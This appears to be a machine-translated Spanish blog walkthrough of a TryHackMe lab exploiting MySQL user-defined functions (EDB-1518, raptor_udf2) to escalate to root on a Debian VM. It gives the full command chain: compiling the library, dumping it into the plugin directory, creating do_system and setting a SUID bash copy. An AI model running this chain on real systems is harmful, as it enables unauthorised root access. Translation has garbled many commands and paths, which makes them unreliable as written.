Esta vez, probaremos "EDB-1518: Elevación del privilegio utilizando la función definida por el usuario de MySQL" en la base de datos Exploit.
La máquina de destino usa la habitación debajo de TryhackMe.
"Tryhackme-Linux PrivSc: https://tryhackme.com/room/linuxprivesc "





Descripción general de EDB-1518
EDB-1518: MySQL 4.x/5.0 (Linux)-Función definida por el usuario (UDF) Biblioteca dinámica (2) establece que la escalada de privilegios se puede lograr mediante el uso de la función definida por el usuario de MySQL.

UDFS le permite crear funciones maliciosas que ejecutan comandos en el sistema operativo con los mismos privilegios que los servicios MySQL.
Si está ejecutando MySQL como root en la máquina de destino, podrá ejecutar el comando como root.
¿Qué es la función definida por el usuario (UDF)?
Una función definida por el usuario es un mecanismo que le permite crear nuevas funciones que funcionan como funciones MySQL incorporadas, y es una forma de extender MySQL.
Los pasos para ejecutar un UDF son los siguientes:
- Creación de bibliotecas (principalmente c/c ++)
- Compilar la biblioteca en un objeto compartido
- Coloque objetos compartidos en el directorio de complementos
- Creación de una función para ejecutar un objeto compartido en MySQL
Desplegar la vulnerable Debian VM
Iniciar la máquina de destino


Inicie sesión en su cuenta de usuario con SSH
Usuario de SSH@[Machine_IP]
$ ssh user@10.10.77.90 La autenticidad del host '10 .10.77.90 (10.10.77.90) 'no se puede establecer. RSA Key Fingerprint es SHA256: JWWPVFQC+8LPQDA0B9WFLZZXCXCOAHO6S8WYGJKTANK. ¿Estás seguro de que quieres continuar conectando (sí/no)? Sí Advertencia: agregó permanentemente '10 .10.77.90 '(RSA) a la lista de hosts conocidos. user@10.10.77.90's contraseña: Linux Debian 2.6.32-5-amd64 #1 SMP martes 13 de mayo 16:34:35 UTC 2014 x86_64 Los programas incluidos con el sistema GNU/Linux Debian son software gratuito; Los términos de distribución exactos para cada programa se describen en los archivos individuales en/usr/share/doc/*/copyright. Debian GNU/Linux no tiene absolutamente ninguna garantía, en la medida permitida por la ley aplicable. Último inicio de sesión: viernes 15 de mayo 06:41:23 2020 desde 192.168.1.125
$ id uid = 1000 (usuario) gid = 1000 (usuario) grupos = 1000 (usuario), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (plugdev)

Verifique las condiciones requeridas para la escalada de privilegios
Esta vez, dado que solo es aplicable a la escalada de privilegios, se supone que puede iniciar sesión en el servidor de destino.
Compruebe si MySQL se está ejecutando
Primero, verifique si MySQL se está ejecutando.
Ejecute el siguiente comando:
netstat -tulpn
Si verifica la 12ª línea, puede ver que "2000/mysqld" está configurado para "escuchar".
root@debian: ~# netstat -tulpn Conexiones de Internet activas (solo servidores) Proto Recv-Q Send-Q Dirección local Dirección Extranjera Estado/Nombre del programa TCP 0 0 0.0.0.0.0:111 0.0.0.0 :* Escuchar 1199/PortMap TCP 0 0 00.0.0.0:8080 0.0.0.0:* Escucha 1826/nginx TCP 0.0.0.0:52341 0.0.0.0:* Escuchar - TCP 0 0 0.0.0.0:22 0.0.0.0 :* Escuchar 1837/SSHD TCP 0 0 0.0.0.0:37143 0.0.0.0.0:* Escuchar 1231/RPC.STATD TCP 0 0 0.0.0.0:25 0.0.0.0.0.0:0: tcp 0 0 0 0.0.0.0:2049 0.0.0.0:* Escuchar - TCP 0 0 0 0.0.0.0:49379 0.0.0.0:* Listen 1627/rpc.mountd tcp 0 0 0 127.0.0.1:3306 0.0.0.0:* Escuchar 2000/mysqld TCP6 0 0 :::::::* APAT TCP6 0 0 ::: 22 :::* Escucha 1837/SSHD UDP 0 0 0.0.0.0:68 0.0.0.0:* 1169/Dhclient UDP 0 0 0.0.0.0:60102 0.0.0.0.0:* 1627/rpc.mountd UDP 0 0 0.0.0:57929 1231/rpc.statd UDP 0 0 127.0.0.1:983 0.0.0.0:* 1231/rpc.statd UDP 0 0 0.0.0.0:111 0.0.0.0:* 1199/PortMap UDP 0 0 0 0.0.0.0:44152 0.0.0:* --* - UDP 0 0.0.0.0.0:20:20: 0.0.0.0:* -
Verifique a quién realiza el servicio (propietario del proceso)
A continuación, asegúrese de que el ejecutor de MySQL sea root.
El comando es el siguiente: reduzcamos hacia abajo usando MySQL.
PS -EF | Grep MySQL
He confirmado que el corredor de MySQLD es root.
Esto indica que los UDF se pueden explotar para ejecutar el comando como root.
root@debian: ~# ps -ef | Grep Mysql Root 1866 1 0 08:53? 00:00:00/bin/sh/usr/bin/mysqld_safe root 2000 1866 0 08:53? 00:00:00/usr/sbin/mysqld-baseader =/usr --datadir =/var/lib/mysqld --user = root--pid-file =/var/run/mysqld/mysqld.pid --socket =/var/run/mysqld/mysqld.sock --port = 3306 root 2001 1866 08:53? 00:00:00 Logger -t MySqld -P Daemon.Error Root 2502 2481 0 09:00 pts/0 00:00:00 Grep Mysql
Revise la versión mysql
Si está explotando UDFS, la versión MySQL debe ser 4.x o 5.x.
El comando para verificar la versión mysql es la siguiente:
mysql -v
Dice "5.1.73", por lo que la versión tampoco parece ser un problema.
root@Debian: ~# mysql -v mysql ver 14.14 distribuy 5.1.73, para Debian-Linux-Gnu (x86_64) usando Readline 6.1
Compruebe si la contraseña de root está configurada
De manera predeterminada, no hay contraseña de root, así que verifique si puede iniciar sesión sin contraseña.
El comando es el siguiente:
mysql -u raíz
Pude iniciar sesión sin contraseña.
Si necesita una contraseña, primero tendrá que encontrar la contraseña, pero parece que se puede omitir esta vez.
root@Debian: ~# mysql -u root bienvenido al monitor mysql. Los comandos terminan con; o \ g. Su ID de conexión MySQL es 35 Versión del servidor: 5.1.73-1+DEB6U1 (Debian) Copyright (c) 2000, 2013, Oracle y/o sus afiliados. Reservados todos los derechos. Oracle es una marca registrada de Oracle Corporation y/o sus afiliados. Otros nombres pueden ser marcas comerciales de sus respectivos dueños. Escriba 'ayuda;' o '\ h' por ayuda. Escriba '\ c' para borrar la instrucción de entrada actual. mysql>
Revise la configuración de MySQL
Finalmente, revisemos la configuración de MySQL.
Primero, consulte sus permisos.
Soy un súper usuario de MySQL, así que puedo ver que tengo acceso completo.
mysql> show subvenciones; + ---+ | Subvenciones para root@localhost | + ----+ | Otorgue todos los privilegios en *. * A 'root'@'localhost' con la opción de subvención | + ---+ 1 fila en el set (0.00 segundos)
A continuación, verifique secure_file_priv.
Esta es una opción para limitar la entrada y salida de datos en MySQL.
Esta vez estaba vacío, por lo que no había límite. Si hay un límite, es posible que no pueda atacar.
MySQL> Mostrar variables como 'Secure_File_Priv'; + ---+ | Variable_name | Valor | + ----+ | seguro_file_priv | | +-------------------------------------------------------------------------------------------------------------------------------------------------------
También verifique el directorio de complementos.
Está configurado en el valor predeterminado para "/usr/lib/mysql/plugin".
MySQL> Mostrar variables como 'plugin_dir'; + ---+ | Variable_name | Valor | + ----+ | plugin_dir | /usr/lib/mysql/complemento | +---------------------------------------------------------------------------------------------------------------------------
Ahora tiene todos los requisitos para aumentar los privilegios.
A continuación, atacemos.
Exploits de servicio
Ahora, comienza el ataque.
Primero, revisemos los pasos.
- Creación de bibliotecas (principalmente c/c ++)
- Compilar la biblioteca en un objeto compartido
- Coloque objetos compartidos en el directorio de complementos
- Creación de una función para ejecutar un objeto compartido en MySQL
El propósito de esta vez
No me importa lo que estoy apuntando para esta época, pero solo diré que quiero mirar los registros de Apache.
Parece que el usuario actual no tiene permisos.
CD/var/log/apache2 -bash: cd:/var/log/apache2: permiso denegado
Crear una biblioteca
En lugar de crear la biblioteca, obtenga RAPTOR_UDF2.C de
Explore-DB Sin embargo, si está utilizando Kali Linux, ya existe, por lo que me saltaré los pasos esta vez.
Compilar la biblioteca en un objeto compartido
Luego, compítelo en un objeto compartido.
Asegúrese de que se almacene RAPTOR_UDF2.C.
Usuario@Debian: ~ $ CD/Home/User/Tools/MySQL-UDF User@Debian: ~/Tools/MySQL-UDF $ LL Total 4 -RW-R-R-- 1 Usuario de usuario 3378 15 de mayo 2020 Raptor_UDF2.C
Compile Raptor_udf2.c con el comando a continuación:
usuario@debian: ~/herramientas/mysql -udf $ gcc -g -c raptor_udf2.c -fpic user@debian: ~/herramients/mysql -udf $ gcc -g -shared -wl, -soname, raaptor_udf2.so -o -o Raptor_udf2.so Raptor_udf2.o -lc
Coloque objetos compartidos en el directorio de complementos
A continuación, coloque los objetos compartidos en el directorio de complementos.
Sin embargo, dado que no tiene permisos en el directorio de complementos, deberá usar MySQL.
Primero, inicie sesión en MySQL como root.
usuario@debian: ~/herramientas/mysql -udf $ mysql -u root bienvenido al monitor mysql. Los comandos terminan con; o \ g. Su ID de conexión MySQL es 35 Versión del servidor: 5.1.73-1+DEB6U1 (Debian) Copyright (c) 2000, 2013, Oracle y/o sus afiliados. Reservados todos los derechos. Oracle es una marca registrada de Oracle Corporation y/o sus afiliados. Otros nombres pueden ser marcas comerciales de sus respectivos dueños. Escriba 'ayuda;' o '\ h' por ayuda. Escriba '\ c' para borrar la instrucción de entrada actual. mysql>
La base de datos que se utilizará será MySQL.
mysql> use mysql; Lectura de la información de la tabla para completar los nombres de la tabla y la columna Puede desactivar esta función para obtener una inicio más rápida con -A -una base de datos cambiada
Mueva el objeto compartido al directorio de complementos cargando el objeto compartido, guardándolo en la tabla y emitiendo el archivo de volcado al directorio de complementos.
mysql> crear tabla foo (blob de línea); Consulta OK, 0 filas afectadas (0.01 segundos) MySQL> Insertar en valores FOO (load_file ('/home/user/herramientas/mysql-udf/raaptor_udf2.so')); Consulta OK, 1 fila afectada (0.00 segundos) mysql> select * de foo en dumpfile '/usr/lib/mysql/plugin/raspor_udf2.so'; Consulta bien, 1 fila afectada (0.00 segundos)
Creación de una función para ejecutar un objeto compartido en MySQL
Cree una función que ejecute un objeto compartido llamado RAPTOR_UDF2.SO que acaba de mover al directorio de complementos.
mysql> Crear función do_System Devuelve Integer Soname 'Raptor_udf2.So'; Consulta bien, 0 filas afectadas (0.00 segundos)
Ahora estás listo para atacar.
Ejecute la función para establecer permisos Suid
Ejecute la función que creó para copiar /bin /bash a /tmp /rootbash y establecer permisos Suid.
MySQL> Seleccionar do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash'); + ----+ | do_system ('cp /bin /bash /tmp /rootbash; chmod +xs /tmp /rootbash') | +----------------------------------------------------------------------------------------------------------------------------------------------------------- (0.01 segundos)
Una vez que haya terminado de configurar, salga y salga de MySQL.
mysql> salir adiós
Obtenga un caparazón que se ejecute con privilegios de raíz
Al ejecutar un archivo ejecutable ubicado en /tmp /rootbash, obtendrá un shell que se ejecuta con privilegios raíz.
usuario@debian: ~/herramientas/mysql-udf $/tmp/rootbash -p rootbash-4.1#
Lograr el objetivo
Ahora revisemos los registros de Apache, que apuntamos para este momento.
Creo que puedes ver lugares donde no tenías autoridad antes.
rootbash-4.1# cd/var/log/apache2 rootbash-4.1# ls access.log Error.log Error.log.2.gz access.log.1 Error.log.1 Other_vhosts_access.log
Creo que ahora hemos confirmado que se ha logrado la escalada de privilegios.
Puedes dejar Tryhackme aquí.

resumen
Esta vez, probé "EDB-1518: Mejora de los privilegios utilizando la función definida por el usuario de MySQL".
Con Tryhackme, solo hay un elemento, pero cuando se trata de hacerlo, fue difícil porque requirió mucha investigación.
También haré las siguientes tareas de TryhackMe, así que eche un vistazo.
Referencias y sitios
Juggernaut Pentesting Academy: https://juggernaut-sec.com/mysql-user-definedfunctions/
medio (nairuz abulhul): https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-user-function